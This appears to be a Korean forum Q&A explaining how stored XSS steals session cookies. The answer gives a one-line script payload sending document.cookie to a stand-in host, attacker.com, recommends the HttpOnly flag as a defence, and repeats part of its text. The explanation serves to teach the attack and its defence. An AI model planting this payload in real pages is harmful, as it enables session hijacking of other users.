Stored XSS를 통해 다른 사용자의 세션 쿠키를 가져올 수 있다고 하는데, 실제로 어떻게 동작하는 건지 원리가 궁금합니다.
Stored XSS가 성공하면 공격자가 삽입한 JavaScript가 다른 사용자의 브라우저에서 실행됩니다.
<script>new Image().src="https://attacker.com/steal?c="+document.cookie</script>
이렇게 하면 피해자의 쿠키가 공격자 서버로 전송됩니다.
방어법:
HttpOnly
댓글 4
Stored XSS가 성공하면 공격자가 삽입한 JavaScript가 다른 사용자의 브라우저에서 실행됩니다.
이렇게 하면 피해자의 쿠키가 공격자 서버로 전송됩니다.
방어법:
HttpOnly플래그 설정 → JS에서 접근 불가